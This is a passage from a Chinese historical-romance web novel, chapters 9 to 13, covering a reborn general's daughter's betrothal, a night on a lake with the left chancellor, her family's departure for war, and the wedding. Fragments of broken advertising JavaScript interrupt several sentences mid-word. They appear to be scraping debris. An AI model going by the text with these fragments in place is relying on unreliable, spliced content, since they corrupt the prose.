顾砚时回想起昨日雨中那张略显狼狈却姝色无双的脸。 似冷非冷,似艳还娇,真叫人一见难忘。 平心而论,的确是很美的。 乌发雪肤,眸似点漆,只微微蹙个眉便让人排着长队地想替她抚平眉头。 可顾砚时却在满城灯火中,想起了与岑听南更早年间的相遇。 于是只浅淡地勾了唇道:“美什么美?不过是个没长开的小姑娘。” ……可您不就喜欢这样的小姑娘么,平安在心里腹诽着,瞧着自家主子明显好起来的心情,到底是没说出口。 - 岑听南一个下午忙得很。 先是央着母亲陪她去了趟城郊寺庙,为前世的自己与阖府上下合点了一盏长明灯。 既求心安,也为着时刻提醒自己,前世犯过的错绝不能再犯,前世那般惨烈局面也一定要改写。 谁知前脚刚点了灯以作警醒,后脚回家,便见岑闻远敲锣打鼓地带着十几车聘礼回来了。 岑听南气得指着阿兄鼻子就骂:“明日便要出征,你随便叫个人送回来不行么,何苦非要你亲跑一趟,外头不知又要传成什么样了。那些言官明日上朝又参爹爹一本可如何是好?” 岑闻远耸耸肩,吊儿郎当道:“怕什么的。岑府嫁女儿是喜事,左相都亲去宫中禀告圣上了,纵使你阿兄我不走这趟,外头这动静啊,也小不了。” “你是说,左相他有意的?”岑听南又开始咬手指。 岑闻远笑嘻嘻:“别动你那个黄豆大点儿的脑子,也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 别咬你的手指头了。瞧瞧,都快啃烂了。万一日后嫁过去人家说我们苛待女儿,好好的将军府二小姐,指头粗糙得跟个婢子一般,那才是对爹爹名声有损呢。” 岑听南恨不得将自家阿兄的嘴给缝上。 岑闻远见她拧过身去不理自己了,戳了戳她:“真生气啦?” “我明日可要走了,借个由头回来多看你两眼也是好的。” 岑听南这才转过身,对上自家阿兄难得正经的目光。 岑闻远:“你未来郎婿我今日瞧过了,端方正直,长得也像个人,就是性子不大行,冷冷清清的,日后嫁过去若是无聊,你就扮了男子溜出门玩。什么都不用顾虑。反正万事都有你阿兄和你爹担着呢。” “做自己就好,你可记住了?”岑闻远俯下身,被兵器磨砺得粗糙的大掌在岑听南脸上刮过,刮得她心口和脸一样泛起柔软的疼。 岑听南几乎要落下泪来。 她的家人待她这样好,这样将她放在心头,放在万事前头。 这辈子,她一定要叫他们平安过完这一生才好。 岑闻远笑道:“诶,别哭啊。女大当嫁,等阿兄同爹爹出征归来,再来喝一杯你的喜酒。” 岑听南哽咽:“那可说好了。” 你们一定要平安归来的。 - 又一次将岑闻远赶回军中后,岑听南还是放不下心,借着想制新衣的由头溜出家门,来了陈记食肆,准备听一听街头巷尾对这件事的声音。 谁料刚进门便见到了端坐在窗边的左相大人。 二娘亲自为他送上几牒吃食,他淡漠点头算是致意,等二娘再回过头时,岑听南瞧见她小麦色的脸颊上透着些绯红。 瞧着,竟有少女怀春的动人情思。 二娘生在市井,每日来往接待的人不胜其数,甚少有这样小女儿一面露出。 是以吸引了不少食客张望过来。 有人打趣道:“日子过得飞快,瞧着二娘也是出落成大姑娘了,真是越来越好看了。” “对哩!这条街最好看的就是咱们二娘了,我瞧就是被吹捧得厉害的岑家二姑娘,也没咱们二娘好看吧?” 此话一出,倒还引来不少附和声。 “那岑二姑娘我远远见过几回,盛名之下其实难副,远不如二娘呢!” 岑听南闻言望过去,倒是想不起来自己在何处见过这人。 听了这纷纷议论声,二娘脸上本就微弱的红已彻底不见,淡了脸色道:“做什么要同她人比?我便是我自己。不比人好,也不比人差。” 这还是岑听南第一次听见二娘的声音,带着低低的沙哑与粗粝,像她的面容一般,被风霜磨砺过,却有着强劲的生命力。 岑听南很喜欢。 她笑着赞同:“二娘说得是,女子便是女子自己,无须同任何自己以外的人比。” 临窗坐着一直不发一言的人,却在听见岑听南声音时,收起淡漠神色,向她看来。 “过来。”顾砚时唤她。 两人之间隔了半副店面,来来往往的食客不少,万般嘈杂却好似突然在两人眼中淡了行迹。 至少岑听南,只瞧见了那节孤竹。 10. 会向月下逢(1) 细细算来,岑听南同这位左相大人,也就是她三日后的夫婿,统共见过不到三回。 而这正是第三回。 他私下究竟是个什么样的人,岑听南实在拿不准。 何人才会在宵夜后独自坐在小食肆里望着窗外灯火不言语。 临街灯火映在他黑而沉的眼眸里都失了颜色,一张冷脸瞧着淡漠又融不进周遭。 再观桌面,不过只有两三个小食,哦,还叫了壶梨花白。 该不会是个酒鬼,还是个抠门的酒鬼罢? 岑听南心下本有些惴惴,可缓慢朝他踱步间才反应过来——她有什么可担忧的? 她又不是真要与这人盲婚哑嫁,携手走过百年,他是好是坏又与她何干? 如此想透之后,再瞧这一桌素雅清淡的吃食,便顺眼多了。 反正知道节俭的宰辅大人,一定是个好宰辅,至少明面上如此。 岑听南一番神色变化落在顾砚时眼底,将他从长街灯火景致中拉了出来,短暂怔忪过后淡然开口:“怎么这时辰在这儿。” 岑听南抬首看向他眼底,那里仍旧是冷寂一片,可他问出口的话又这样自然,顿觉好生奇怪。 他们有这样熟么? 这语气,好似父兄管教她时的语气。 她几时在何地,与他何干?还未过门便要给她立规矩了么? 这样想着,岑听南口中便没了好气:“晚膳用得积了食,随意出来消消食。” 对面的人闻言蹙起了眉。 岑听南见了心中更不大畅快了,怎么?这是嫌她不似寻常高门贵女,用得太多了? 岑听南冷了脸,觉得有些话还是需在成亲前说清楚些好。 “旁人不知,但你我为何结亲,左相大人却是再心知肚明不过。比起举案齐眉的关系,你我之间或许称之为同僚更为合适。”岑听南顿了顿,“所以——关于我个人的一些事,日后还请左相大人不必忧心了。” 她说这话时语气故意冷了下来,艳丽的眉眼便也含了几分薄愠,像头凶狠的小兽,威力不够,只好强撑气势来凑。 顾砚时:“所以你觉得,我是在管你?” “难道不是?看似问我,实则是责备。”岑听南毫不相让。 顾砚时眼底掠过些温度与奇色:“责备?” 岑听南点头:“责备我作为待嫁之女,不应当此时出现在这里。” “也在暗怪我,吃得多了些,不够体面尊贵。”岑听南想了想,又补上一句。 顾砚时终于牵了牵唇角,眼里也有了灯火的颜色。一双黑眸映出眼前岑听南的脸,是明晃晃的好看。 “岑二姑娘实在多虑。”顾砚时执起酒杯,一饮而下,“我只是曾辗转听过将军府夜间设门禁一事——听说岑小将军曾经这时辰还未归家,被岑将军吊起来打了一顿,故而担忧二姑娘也受这规矩管辖。” “至于你说怪你吃得多了些……”顾砚时眼神在她身上微微扫了一圈,淡淡‘嗯’一声道,“反正将军府也不是养不起你,日间多吃些也好,只是夜里吃多容易伤脾。” “坏了身子,吃苦头的是你自己。” 他执着酒杯的手如玉温润,在灯光下沁出暖和的颜色,多少驱散些身上的冷清之意。 岑听南在他慢条斯理的声音里,渐渐回想起这桩事。 岑闻远的确是因为晚归家被打得皮开肉绽过,可是爹爹既舍不得打她,现下又不在府中,故而她将这只为岑闻远而设的规矩倒真忘了个一干二净。 这么说,是她错怪了他? 岑听南有些赧然,抬首正欲辩解几句,问一问他如何这样清楚知晓她府中诸事,却不意撞上他眼里一闪而过的好笑。 一时怔愣,便听见他没甚情绪的声音在头顶响起:“倒是经岑二姑娘一提醒,我才想起,原来岑二姑娘是我三日后便要过门的新妇。” 又是一张冷脸,好像那抹笑意不过是她错觉。 岑听南气势顿时矮了一截,干巴巴道:“那又如何。你所求是我的身份,又不是我的人,我们不过是……筹谋在了一处而已!” 顾砚时并不接话,只道:“既是新妇,那我管一管也是应当的。按说大礼之前你我不能见面,如今既然见了,便是坏了规矩。” 岑听南反骨顿生,挑眉看他:“怎么,你待如何?” 连她阿爹阿兄都管不了她,他当他是谁? “坏了规矩,自然是……当罚。”顾砚时敛了眉目唤二娘,“掌柜的,结账。” …… “你说的罚,就是带我深夜泛舟湖上,对月饮酒?”岑听南四下张望,眼里透着茫然。 她最荒唐的时候,都没有这样大胆过。 至多不过顶着阿兄名头到处看一看美人儿俊哥儿,如今却是在银月当空的夜里,同盛乾王朝一人之下的左相大人孤男寡女躺在小舟之上,行在潋滟涟漪中,像行在星河之里。 这样前后孤立无援的处境里,反倒让她心头莫名泛起一丝隐秘的松快。 前世她活得莽撞而糊涂,镇日里横冲直撞混沌事没少做,却甚少有这样安静的时刻。重活一回,又担了许多不能同外人道的重担,沉甸甸压在心头,叫她一刻都不得好过。 如今清风带着水气拂过,明月温柔地注视她,便好似心头所有烦忧都不值一提了。 这样的感受,竟是眼前这个三日后她就要嫁与的男子带给她的。 岑听南奇怪地看着躺得悠闲的左相。 这人与平日里看到的,似乎不太一样。他不再清冷,不再似孤竹,多了些懒散,也比想象中话更多……嗯,不该他管的事,操心得也多。 究竟哪个才是他?又或者都是他? 顾砚时感受到她的注视,终于掀了掀眼皮答她:“不算罚么?初夏的夜里还凉着,我却带你来湖上,受冻挨冷,有家归不得。且这里前后无人,你可是求救都无门。” “夜半不归家,同男子在外晃悠,便是这样的下场了。”顾砚时声音懒了些,不似平日里端得板正,“若我对你图谋不轨,你还会名声不保,这处罚不可谓不严厉。” 岑听南愣了愣,笑起来:“可惜,我面前的不是别人,是我未来郎婿,这名声还真难被毁了。传出去至多不过说我们大婚当前,情难自禁,怎么看都是恩爱有加,一桩佳话呢。” 顾砚时没想到她会这样说,温声道:“你同我想的倒是不同。” 岑听南:“彼此彼此,你其实也没那么……端庄。” 顾砚时:“躺下吧,这里不会有人来。岑二姑娘睡一觉起来,也还会是上京城里最被娇宠的贵女。跌不下枝头。” 岑听南想说她也没有那么在乎这些奇怪的名声,却又想自己何必同他解释呢。这样无忧的时辰,往后岁月里也不知还能 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不能再有,不如珍惜眼前风景。 这样想着便整个人松泛了下去,当真不设防地越来越轻快。一开始只是靠着船壁赏月光,却在晃晃悠悠的湖面上,身子一点点软下去,终于头一歪,在软和的垫子上睡了过去。 迷迷糊糊还在想,这左相装得可真好,连孤舟也弄得这般温软,什么轻简朴素,原来都是表象。 顾砚时望着睡过去的岑听南,摇了摇头。 传闻中最是娇贵的将军府二姑娘,竟是个在扁舟上也能睡着的?回头说给贵妃和圣上听,只怕他们都不信。 还睡得这样熟,顾砚时一床薄被盖她身上,也只是眼睫轻颤了颤,呼吸均匀而绵长,瞧起来,睡得还极香。 顾砚时眼底深了深。 却不知这姑娘,在别的男子面前,是否也这般不设防。 将军就是这么教养女儿的? 还是说,当真以为整个上京城她可以横着走,无人敢对她不敬? 旁人也就罢了,名头在那,真遇上歹人也要掂量几分自己的斤两。可岑听南偏长了这样一副绝色皮囊,难保不会有人色上心头,拼出一身剐也要寻欢一时。 既要嫁与他作新妇,不论这关系缘何而成,日后她与他总归是一体。 她这不设防的天真性子,自然也得养一养才是。 这不是为她,是为自己。顾砚时想,他不过是在为相府调教一个合格的女主人,并不是因着旁的。 - 岑听南这一夜睡得前所未有的好,日头薄薄地洒在脸上,带来新一日的晨温,她便彻底醒来。 可一睁眼就对上一双没甚温度的眼,将她冻得打了个寒颤。 “醒了?”顾砚时收回目光,“趁日头还未升起,现在过去刚好。” 岑听南:“去哪?” 顾砚时起了身,将船撑回岸边,宽肩窄腰的背影因着这动作显出几分力量感来,像破土的竹,坚韧而挺拔。 “你父兄今日出征,你不想去送一送?” 岑听南有些委屈:“当然想,可我不能去。他们会说阿爹教女无方,出征这样的大事也任由我一个未出阁的女儿抛头露面。” 顾砚时:“岑二姑娘是不方便去的,相府的小厮却无妨。船尾有套新的小厮衣物,去换上吧。” 岑听南彻底愣了:“你带我一夜未归,是为了领着我送父兄一程?” 顾砚时淡淡地:“岑二姑娘多虑了,一夜的冷风,是惩罚。看来是力度不够,没让你领略到相府森严的规矩。” “下次若再有与外男夜不归宿的事情发生,我会加大惩罚力度的。” 岑听南没忍住笑起来,这话说得,好似她作为宰辅夫人,还能同外男夜不归宿一般。 “那左相大人可真是好气量,只是惩罚么?” 顾砚时:“听起来,你很期待被罚?” 岑听南拧过头去,脸颊被日头晒得有些微烫:“今日可真热。” 顾砚时低低勾唇:“今年初夏,是热。不过岑二姑娘无需担心,相府冰窖里冰块管够,定然不会热着你。” 此刻东方既明,霞光染红了这人迹罕至的湖心,也染透了岑听南明亮亮的眼睛。 她望着顾砚时的背影想,若有朝一日查明父兄的冤屈与他无关,那这盲婚哑嫁的选择,或许也不至于太坏。 她似乎,一直都是被上苍眷顾的人呢。 11. 会向月下逢(2) 来送大军出征的百姓很多。 前世岑昀野的名声其实一向不错,岑听南那样娇纵跋扈都是有底气的。实在是后来他连打了几场败仗,于是一些从前人们还能睁只眼闭只眼的事,就全被翻出来指指点点。 岑听南的娇纵也就从应当的,变成了荒诞的不合时宜的。 岑听南坐在顾砚时的马车里头,远远瞧见乌泱泱的人被禁军拦住,暗暗心惊。 上辈子自己就是从这样的人群里骑着马直接冲了过来? 难怪父兄会因她背负谗言,她前世做事也太冲动了吧! 她连忙将车帘又放低了些,左右张望确保不会有人看见她透出的一只眼睛,这才放心在高头大马中寻找起父兄的身影。 顾砚时见到她的小动作,伸出手将车帘拉大。 “无妨。” 禁卫都认得他的马车,百姓也不会过来此处,顾砚时看着眼前谨小慎微的人——与记忆中没有章法的岑二姑娘实在相去甚远。 男子低沉的声音自耳畔响起,清冽又滚烫的气息薄薄喷在颈侧,岑听南猝不及防被烫得缩了缩。 却发现被锢在了由他双臂与胸膛圈起的小小空间里。 她不自然地侧过头,露出一截白皙而修长的脖颈,晨光透过车帘一角洒落进来,落在她羊脂玉般的肌肤上,泛起温润的触感。 ……叫人忍不住想握上去。 顾砚时顿了顿。 “岑二姑娘这是做什么?”他的声音听不出情绪。 岑听南气结,她能做什么?马车里就这么大点空间,他就这么直愣愣靠过来了,她除了躲开还能做什么?他倒好,恶人还先告上状了。 岑听南越想越气,索性坐直了身子,瞪了回来。 她又不是动手动脚那个,可犯不上心虚。 “岑二姑娘的颈项生得好看。”顾砚时轻飘飘地,“比我从前捏断那些——美上不少。” 岑听南被吓得又缩了回去。 顾砚时的闷笑声在她头上响起。 这人太恶劣了!岑听南后知后觉反应过来被逗弄,从前何曾有人敢对她这样! 她气上心头,抬起脚便对着顾砚时的靴子踩了上去。 结果却踩到硬邦邦的,好似石头一般的触感。 臭男人的靴子可真硬,他不痒不疼的,反倒将她硌得厉害。 顾砚时见她亮出爪子,却又拿自己没办法。一时想不透怎么虎一样的大将军,却养出了猫一样的女儿。 “你再踩下去,可就要错过你父兄了。”顾砚时道。 岑听南低呼一声,用力推开他,再顾不上旁的,探出头去看。果然对上岑闻远往这边张望的脑袋,见到藏在马车里的她,哪怕只见到半张脸,也认出了这是他自小宠到大的人。 岑闻远一双眼登时亮起来,侧头去同大将军说了些什么,却被岑昀野一瞪,也不敢再胡乱张望,挺直腰板像个真正的将军一般,目视前方朝着他的战场而去。 目睹这一幕,岑听南咬着下唇,有些想哭。 却见爹爹微微偏了头,冲她极快速眨了个眼,电光火石间又转了回去,好似什么都没发生过。 她呆愣着破涕为笑,目送父兄远去。 “……大将军,很看重你。” 岑听南自嘲地牵起唇角:“我响彻上京的娇纵名声,毕竟不是白得来的。” 顾砚时轻摇头,他并不是这个意思。 岑听南的注意力却已被城墙上矗立良久的那抹明黄色身影吸引:“圣上也来了?” 顾砚时:“北戎与我们盛乾不死不休,交战多年,此次大举进犯而你爹领军北征,背负的是整个盛乾朝的名声与百姓的希冀,李璟澈作为君王,自然要亲至勉励三军。” 岑听南听得拧眉:“那我爹若是败了呢?” 顾砚时看她良久,意味深长:“大将军此役不能败。” “谁又敢说自己百战百胜。你们这是在逼我爹去死。” 顾砚时却转了话题:“所以我说,大将军很是看重你。” 为了女儿,心甘情愿受人辖制。 而大将军午夜梦回时想起李璟澈做的这一桩,会否心寒,顾砚时不知,也无法细究。 他只希望他要做的那些,都不受阻碍。希望这天下最终是海清河晏的。 而在这样的目标面前,庙堂之上最高的那一人,也许注定只能伶仃。 岑听南顺着他的眼光看向城墙之上,问道:“贵妃怎么没来?” 她记得从前爹爹在家中还时常感慨,圣上也是个怕妻的,每回打仗前送三军出行都会不顾谗言带上贵妃亲至,怎么这次却形单影只。 “也许贵妃,早已不愿与他同行。”顾砚时道。 岑听南:“那圣上其实也是个可怜的。” - 待嫁三日一晃而过。 岑听南也没闲着,倒不是操心大婚事宜,娘亲带着琉璃里里外外张罗得很周全。虽然婚期很紧,但只要银两到位,没有赶不出来的工,纵使真有,左相大人的名头一抬出来,也便没有了。 是以宋珏握着女儿的手,很是感慨:“从前我就觉得左相好,可又忧心人家门楣太高,你嫁过去受了委屈。如今才知他是个无父无母的,你嫁过去后便是当家做主的主母。既没人能给你委屈受,我便放心了。” 玉珠嘴里塞着从陈记买来的点心,含糊道:“谁能给我们姑娘气受?担心姑娘别气着别人才是吧。” 岑听南听着她们打趣,心思却不在上头。 这三日,她将将军府里里外外翻了个遍,眼生的小厮丫鬟全都拿银两打发了,还同母亲反复交代,要看紧下人,不能让奇怪的人混入府中。 宋珏虽不明白女儿为何突然性情转变,却也知晓她说得句句在理,只觉得两父子虽然离开,但是女儿成长起来了,心下多少宽慰了些。 只是嫁女儿到底还是惆怅的。 大婚当日,岑听南便见到母亲红肿着一对眼,将她吓一跳。 “娘,丞相府与我们就隔了两条街,您若是想我了,都不用乘轿,溜达几步便到了。”岑听南一面任由人替她梳妆,一面宽慰母亲。 岑闻远十五岁那年上山险些被老虎咬去半条胳膊都没见娘哭成这样。 爹爹利剑穿心,命悬一线母亲也只略红了眼眶,站在营帐外高骂“你若是敢死,我就带着一双儿女下地府找你!”旁人都笑爹这条命是被母亲吓回来的。母亲没同意,他不敢死。 这样一个爽利的女子,岑听南还是头一回在她如此。 宋珏被女儿说得有些不好意思,笑斥道:“混丫头打趣起你娘来了。嫁人你当过家家呢?嫁出去日后便是丞相府的人了,你爹和阿兄便再也护不到你了。” 岑听南笑了笑:“娘放心。我永远是岑家人,我会好好护住我自己的。” 宋珏愁肠百结地送女儿出了嫁。 岑府这边只她一个,围观的看客却多,宋珏拿出从前在庆国公府养出的气势撑住了这锣鼓喧天的阵仗。 好在来接人的顾砚时面上虽冷淡,礼数却周全。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>对上宋珏的眼,他那双没甚温度的琥珀瞳孔,才有了些微的波动。 而被他视线扫过的看客们,只觉像在雪里被浸过似的,一些含在嘴里闹腾的话,只好没声没响咽了下去。 大将军与小将军倒是走了,可这儿还有个权倾朝野的左相呢。 这一家人,真是泼了天的权势富贵。 日后岑家二姑娘也不知要娇成什么样了。 或许,得唤她左相夫人了。 - 婚典是在傍晚,不过由于将军府那边只有宋珏在,顾砚时又是孤儿一个,是以流程其实比岑听南所想简略得多。 从前听闻新娘子出嫁当日要被饿一整天,于是玉珠揣了些好入口的点心,一路上悄悄摸摸塞进喜轿里,生怕岑听南饿着了。 可岑听南这一整天零零碎碎的其实没少吃。 口脂早被她吃光了,她也没甚所谓,那口脂颜色还没她本来的唇色好看呢。 十六人抬的喜轿稳当得很,又或许是将军府通往丞相府的路好走,一路上连个磕绊都没有。金饰头面却沉甸甸压了岑听南一整天,累得她在轿中打了个呵欠。 竟是囫囵打个了旽,直到落轿的震动传来,才将她惊醒。 喜帘骤然被揭开,顾砚时淡漠的声音隔着盖头响起:“岑二姑娘,今日瞧着也不大合规。” 岑听南听着他慢条斯理的声音就牙根直痒,可到底存了理智,压低嗓音道:“大婚当日,你非要找我茬?” 半晌没有动静,岑听南都疑心他是不是被气走了。 才听见顾砚时道了句:“你也知道是大婚当日。” 谁家新妇在喜轿里都能睡着的? 没听错的话,她还打了个呵欠? 轿帘随之被重重放下。 岑听南莫名,他这是生气了?生的是哪门子气? 不待她反应,喜轿被斜斜倾起,是有人压轿,轿帘又被掀开一回,这回不再是顾砚时了。 是喜婆来请她落轿。 岑听南一手搭着喜婆,举止端庄地落了轿,也不知顾砚时拿她撒什么气,轿内如何又没人瞧见。如今外头这么多眼睛看着,装装样子她还是可以装得很好的。 岑二姑娘是这样想的,然而下一瞬,却不知是哪个轿夫斜斜伸出一条腿来,骤然横亘在她落脚的地方。岑听南一时不察,被绊了一下,半边身子都歪了! 重心不稳向前倒去,琉璃玉珠的惊呼声已经在耳边响起。 她都听到围观的人笑声了! “哈哈哈瞧,新妇要摔了!” 岑听南死死咬住即将溢出唇齿的惊呼声,盖头因她倾倒的重心略微向上扬了些,露出些许视野。 是王初霁! 岑听南一眼便瞧见了人群中那张幸灾乐祸,带着嫉恨的脸。 ……怎么偏栽她手里了。 这下又要累得家人被耻笑了,岑听南闭上眼,微叹了口气。 也怪她自己,明明只要小心一点就能避开的事。或许前世便是这般,错过了太多的细节,以至于……总之日后,要好好记住这回教训才是。 岑二姑娘做好了认栽的准备。 可比预想中坚硬地面先到来的,是头晕目眩的离地。 带着淡淡的雪松气息,她被人横抱在了怀里。 “夫人当心,昨夜下了雨,地有些滑。”顾砚时的声音清而冷地响起,这是说给众人听的。 “今日第二回了,该罚。”这声音慢条斯理,近在耳侧。 ……是只说与她听的。 12. 识卿桃花面(1) 顾砚时这样一抱,便将岑二姑娘即将丢遍上京城的脸面捡了回来。 他的臂膀坚实有力,抱着岑听南稳稳跨过火盆。 轻巧得像抱只猫儿。 可这在顾砚时眼中再简单不过的举动,却引来周围一片倒吸凉气之声。 “哎…这左相……” “左相大人怎么亲跨火盆,这这这这于理不合啊!” “成何体统,真是荒唐……” 喜婆急得豆大的汗珠往下掉。自古只有新娘子跨火盆除霉运的!左相何等人物,又是男子,怎能如此呢! 她张嘴欲言,却在对上顾砚时冷漠的脸时,打了个寒颤。 到底做了这行是个有眼力见的,左相难道不知晓这规矩么?可他既做了便是不在意,事情又已经发生,再做阻拦简直是给贵人们心头添堵! 看客们议论声愈大,喜婆拭着额头密汗反倒冷静下来了,眼咕噜一转,扬起声唱道:“新人举步跨火烟,白首偕老意绵绵!” 天爷呀,还得是她,多急智! 顾砚时带着凉意的眼神再四下一扫,那些看各样的嘴脸便彻底噤了声,顾忌着眼前这位的权势与地位,不情不愿顺着喜婆称赞起来。 可心头还是骂的,堂堂一个左相,竟然不顾礼法,这不是给女子长脸长地位么!只希望日后朝上有言官参上一本才好! 岑听南将诸多声音听在耳里,索性堂而皇之朝顾砚时的臂弯又缩了缩。 恨不能气死将女子视作洪水猛兽的老古董才好。 可惜没看到王初霁的嘴脸,也不知被气成什么样了,有没有变绿?怕是比从前每回宴会上输给她都还要难看。 倒是这顾砚时……比她想的,好上那么一点。 不过,也就一点儿。 顾砚时感受着胸口衣襟被怀中人攥得越来越紧,垂了眼道:“纵使喜服我只穿这一回,夫人却也不必拧坏它。” 这新鲜的称呼,听得岑听南顿了顿。 虽盖着喜帕,岑二姑娘仍旧小动作不断,躲在顾砚时臂弯里,悄悄替他抚平了衣襟。 这人家大业大的,费事同她计较一件衣物。 岑听南小声地哼了一句:“赔你十二件,让你一月穿一件,月月做新郎可好?” 顾砚时不作声,臂弯却紧了紧,直箍得岑听南吃痛狠狠掐他一把,才不咸不淡将人松开些。 呸!小气鬼。 岑听南没成想,这左相面上瞧着清高孤寡,内里却是个报复心这样重的。 日后这日子,可别过成日日争斗的仇人才好。 何况她还有父兄的冤屈未查明呢,要紧事多得很。岑二姑娘大人有大量,懒得同他一般计较。 - 拜堂时候场面其实有些冷清。 这是岑听南全然未想过的。 她知道顾砚时家中只他一人,无父无母无兄弟,可岑听南以为凭他同圣上的关系,虽无高堂可拜,却还能拜一拜君主。 可从头到尾李璟澈连个面儿都没露过。 只派了御前的大太监带来一封懿旨,当着满堂赴宴的大臣们念了。说来说去也无非是些皇恩浩荡再恭贺他俩百年好合的陈词滥调。赴宴的又都是顾砚时与她爹爹的同僚,上到头发花白的老头儿,下到青年才俊皇榜有名的状元碍于面子倒是都到了场。 座无虚席,人声鼎沸。 变着法儿的贺喜。 热闹是热闹,可岑听南处在人群中,心头也更寂寥了。 父兄不在,娘亲在家中,满上京城的高门贵女没几个同她交情好的,来了也都是王初霁一类巴不得她不好的。 这些人面上的喜终于道完了,岑听南停在耳中怅惘得很。 她就这么嫁了? 嫁的这人偏还同她一样,满屋子人却瞧着连半个真心朋友没有。 真真是如梦一场。 好在拜堂的时间不久,入了洞房,那点子没来由的悲戚就散了干净。 岑听南坐在自己的喜床上,将喜帕直接掀开,重重喘了口气,闷了一天,可给她闷坏了。 岑听南打量了一圈,只觉这厢房瞧着干干净净,但比她在家中住的厢房还略小一些,虽布满了喜庆的物事,可不知是不是沾染了顾砚时的气息。 一片红色中,仍只觉得冷清。 琉璃见了,笑眯眯等她打量完,将盖头给她盖回去:“这盖头得等相爷来揭,才吉利。” “等他做什么,外头喝完酒都夜半三更。”岑听南又扯下盖头,“你们也早些散了罢,忙一天都累。玉珠你那儿还有吃的么?” 玉珠见岑听南和在自己家中一般自在,神情古怪道:“姑娘你怎么一副打算用饭歇下的样子啊,大婚当夜,当然是要等相爷来入洞房啊!” 岑听南脸上逐渐升温。 ……等等,他们虽然就自己嫁过来当人质一事有了共识,婚后相处日常却着实没有机会探讨过。 但想来,顾砚时不会这么不懂事吧? 他他他总不至于真要过来同她……圆房吧?!她们只是同伙关系不是么?! 玉珠一句话骤然说得岑听南紧张起来。 回想起出嫁前娘亲给她看的那些个活色生香的小册子…… 若将上头的人换做她和顾砚时…… “怎么窗户关得这样严实,玉珠,去打开罢。”岑听南感觉自己都快透不过气了! 玉蝶守在屋外道:“姑娘,相爷饮了一圈酒,已朝这边来了。” 岑听南的心揪了起来。 “但闹喜的人倒是被他赶走了。” 岑听南的心落回肚子里。 “琉璃快将盖头盖回去。喜婆来了,还有仪式没完。” 岑听南带着无奈坐回床上。 房门骤然被推开。 顾砚时身上携着酒气,喜婆与丫鬟跟在他身后入了房。 接下来的流程娘亲倒是教过她,喜婆必然要给她吃生饺,然后问她生不生的,这个时候她作为新娘子,就得含羞带怯地看一眼夫君,再小声道:“生。” 岑听南听了好奇,问宋珏:“当年娘亲你就这么把生的吃下去了?然后说了?” 宋珏:“……我把那碗饺子全掀了。但你别学我。” 岑听南彼时笑弯了眼,可也懂娘亲话里话外的意思,娘亲与爹爹恩爱两不疑,做什么自然都不算错。但自己和左相,在娘亲眼中与盲婚哑嫁无异,娘亲怕她犯错。 她又在心头叹了一回女子的无奈,从大事到小节,真是处处受限,处处被央求甚多。 连她这样被娇惯着长大的人,都感受颇多,更不用提旁人。 那些平民百姓家中的女儿呢?还不知日子会多难过。 岑听南微微出神的间隙,带着生面粉气味的饺子,已递到她跟前了。 岑听南蹙起眉,打算浅浅咬口面上的皮,就算给顾砚时天大的面子了,要她说“生”她可决计说不出来。 顾砚时最好不要这么得寸进尺。 却在此时听见熟悉的声音清冷道:“生的,别吃。” 喜婆顿时“哎”了一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 声,顾砚时语气便又淡了几分:“东西放下,所有人都出去。” 他的声音不算多威严,因饮了许多酒,今日还浸着些岑听南从未听过的……懒散。 是醉了么? 而当他不再刻意将自己端成一根孤傲的竹时,上位者的姿态与气息反倒毫无保留地倾泻了出来。 此时此刻的顾砚时,是朝堂上那个狠戾予夺的左相,不再是那个冷漠而知礼节,喜穿竹纹的文人。 屋内噤了声,再无人敢质疑。 喜婆将揭盖头的喜秤杆留了下来,一把抢过丫鬟手中的生饺红枣什么的,见鬼似的头也不回飞快跑出了门。 什么劳什子大户人家,可算礼成了,她再也不接这种活了!谁爱接谁接。 屋内一时静下来。 雪松和酒的气息逐渐缠绕过来……像他抱着她。 却比今日大庭广众下那个横抱,愈缠绵。 顾砚时修长的手拿起喜杆,在手中轻掂了掂,挑起盖头。 他呼吸微滞。 岑二姑娘是极美的,他一直都知。 前些年她无法无天乱来的时候,大家提起都摇头,说是将军没管束得好,否则借着这倾城的容貌,入宫与瑶光争一争宠也不是没可能。 而那时的她,才多大点?十五还是十六岁?还是个没长开的小姑娘罢? 顾砚时每每听了只觉得好笑,这群老不修的,镇日对着个小姑娘意./淫,真是没脸没皮。他若是大将军,只怕得把女儿养得更娇纵,让全天下的男子都不敢沾惹才好。 只是命运这样神奇,就连他也想不到,这朵世人都称赞的明艳花儿,竟辗转到了他房中。 可他并不想将她摘下,放进花瓶里观赏。 她天生应该是张扬而娇纵的。 此刻红蜡摇曳,她着一袭宛如天边流霞的火红嫁衣,故作镇定望向他的眼波流转里,带着羞恼又带着点娇,还揣着茫然与无措,这样复杂而灵动的情绪,在她眼里跳开来。 跳进这间被人装扮好,却死沉沉的厢房里。 于是烛火随着她跳跃,镇日里一潭死水般的相府,便好似突然有了活泉,流动起来。 这样的女子,怎么能将她关进深宫,又怎么能眼见她成为下一个孟瑶光。 许是他静谧的时间太久。 顾砚时又见这灵动的泉水眸里诸多复杂情绪褪了个干净,抬起头便问:“左相大人还没看够么?” 顾砚时不紧不慢‘嗯’了一声:“看不够。” “且——你得改口了。” 岑听南脸上顿时绯红一片:“说好的,你娶我不过是为了制约我父亲,倒也不必演得这么像。” “既然要做戏,当让要做全套。”顾砚时温声道,“我的目的大家心知肚明,那……夫人呢?” 明知是个火坑,却心甘情愿跳进来,又是为何? 岑听南顿了顿,手上攥得更紧,慌了一瞬后不避不闪看向他的眼里,眨着眼无辜道:“我同贵妃娘娘也说过了呀。父兄自幼少有陪伴,我倾慕年长如父如兄的男子呢。” 顾砚时看向她的手:“若是喜被叫你揪破,今日你可就要赤着睡了。” 谎话连篇的小骗子。 撒个谎乱成这样,日后,可有得是东西要学。 相府的主母,可不能是这样空有皮囊与小聪明的稚嫩丫头。 他想,或许他可以教一教她。 至于她能成长到何种地步,端看她自己了。 “先歇下吧。”顾砚时吹了烛。 13. 识卿桃花面(2) 